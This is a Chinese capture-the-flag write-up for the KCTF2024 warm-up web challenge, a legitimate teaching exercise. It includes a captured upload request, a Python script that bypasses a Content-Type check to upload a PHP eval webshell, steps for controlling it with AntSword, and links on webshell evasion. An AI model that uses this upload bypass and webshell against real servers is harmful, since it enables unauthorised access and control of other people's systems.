-
-
[原创]CTF2024签到题
-
发表于: 2024-9-1 22:38 240
-
1. 准备工作
- fiddle 抓包工具
- 中国蚁剑
- 需要有Python环境
2. 进入2024 CTF 签到题
(1)第一种方式
进入官网,选择CTF栏,点击进入签到题,然后启动靶机
(2)从特定网址进入
进入网址https://kctf.kanxue.com/challenges,选择Web-->选择KCTF2024_签到题
选择启动靶机
提示靶机已经部署,可以开始答题了
选择“题目链接”,进入题目
不推荐第二种方式,因为可能分数不会记录到kctf平台
3. 解题过程
(1)步骤1
进入题目后,点击左上角的Hint,会进入到https://*.node.pediy.com:81/flag.php地址中,
(2)步骤2
右击当前界面--->查看网页源代码或者使用快键键ctrl + U,然后再网页源代码中,翻到最底下,可以看见一串base64编码后的字符串
将“aGlkZGVuX3BhZ2UucGhw”解码后为:hidden_page.php
这个根据命名单词来看,像一个隐藏页,那么进入网址输入栏中,将flag.php替换成hidden_page.php。
可以发现打开了一个上传文件的网页代码。
根据以往的出题经验以及网页中出现一个上传文件的操作,基本可以确定的是,本题考核的重点为“网络安全之文件漏洞”这系列的知识点,
使用php木马脚本访问服务器目录
参考以下资料:
【浅谈网络安全之文件上传】https://xie.infoq.cn/article/76ba3604b48fb0ee528bbac10
【[探索网络安全:浅析文件上传漏洞】https://www.cnblogs.com/guoxiaoyu/p/18306678
(3)步骤3
当我们随意上传一个文件时,会提示只接收jpg和png图片格式的文件,
那么说明这个题目还带有文件格式校验,一般的校验会有以下几种方式:
- 网页源码中判断当前上传的文件类型
- 通过检查文件头信息(如png,jpg等)
- 上传文件以二进制形式下载,且不能在服务器端运行,防止木马文件直接执行
- 网络请求中对content-type字段进行判断
等等,那么进行逐一排查后发现,该题目采用的是对content-type字段进行判断,那么,可以采用Python编写网络请求的方式,进行绕过
首先使用fiddle进行网络抓包,抓取当前上传文件的网络请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 / hidden_page.php HTTP / 1.1 Host: 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 Connection: keep - alive Content - Length: 114786 Cache - Control: max - age = 0 Upgrade - Insecure - Requests: 1 Origin: http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 Content - Type : multipart / form - data; boundary = - - - - WebKitFormBoundaryRONsmeocBVn0GPig User - Agent: Mozilla / 5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 128.0 . 0.0 Safari / 537.36 Accept: text / html,application / xhtml + xml,application / xml;q = 0.9 ,image / avif,image / webp,image / apng, * / * ;q = 0.8 ,application / signed - exchange;v = b3;q = 0.7 Referer: http: / / 540e6f55 - 5819 - 4634 - a929 - e8c8098f8bec.node.pediy.com: 81 / hidden_page.php Accept - Encoding: gzip, deflate Accept - Language: zh - CN,zh;q = 0.9 ,en - US;q = 0.8 ,en;q = 0.7 - - - - - - WebKitFormBoundaryRONsmeocBVn0GPig Content - Disposition: form - data; name = "upload_file" ; filename = "RaingDay.jpg" Content - Type : image / jpeg JFIF C
|
抓取到的请求包如上所示,
那么接下来要做的是,如何将php一句话木马程序上传至服务器,并对服务器目录进行访问,
使用Python编写一个脚本,对当前服务器上传一个文件即可,只需要更改content-type字段为:'image/jpeg'即可上传任意类型的文件,
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | import requests url = "http://540e6f55-5819-4634-a929-e8c8098f8bec540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php" headers = { "Host" : "540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81" , "Connection" : "keep-alive" , "Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "Origin" : "http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" , "Referer" : "http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/hidden_page.php" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } # 文件内容 file_content = '''<?php @eval($_POST['shell']); echo"luck"; ?>''' # 将文件内容写入到一个文件中 with open ( 'dongtai.php' , 'w' ,encoding = 'utf-8' ) as f: f.write(file_content) # 将文件加入到请求的文件部分,并指定 Content-Type files = { 'upload_file' : ( 'dongtai.php' , open ( 'dongtai.php' , 'rb' ), 'image/jpeg' , { 'Content-Type' : 'image/jpeg' }) } # form-data 中的其他字段 data = { 'submit' : '上传' } # 发送 POST 请求 response = requests.post(url, headers = headers, files = files, data = data) # 打印响应内容 print (response.text) |
执行代码即可,需要注意的是,更改url地址及其header中对应的url地址
(4)步骤4
打开URL地址栏,输入http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/upload/dongtai.php (需要更改前部分的地址)
为啥我会知道有upload这个目录,因为经验,比如管理界面一般是userAdmin.pho,root.php等
界面中显示如下,即成功上传php文件,
现在打开中国蚁剑,右击选择添加数据,在打开的窗口中
URL地址:填入完整的url地址,比如http://540e6f55-5819-4634-a929-e8c8098f8bec.node.pediy.com:81/upload/dongtai.php
链接密码:shell
其他默认即可
然后点击测试连接,提示连接成功即可,点击保存
双击上面这个刚刚建立的链接,然后就会进入到当前web后台的目录
最后,点击"/",进入最开始的根目录,就可以找到藏起来的flag了。
将该文件下载下来,就可以看见flag了,
本来以为还需要执行一次php文件,结果不用,尴尬
flag打开为:
4.总结
主要考查对网络安全方面的知识点,关于一句话木门,可以参考以下资料
【浅谈一句话木马】https://github.com/FunctFan/gewuzz-security/blob/master/web-an-quan/yi-ju-hua-mu-ma.md
【一句话木马免杀】https://github.com/BugFor-Pings/PHPwebshell
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CTF2024签到题 241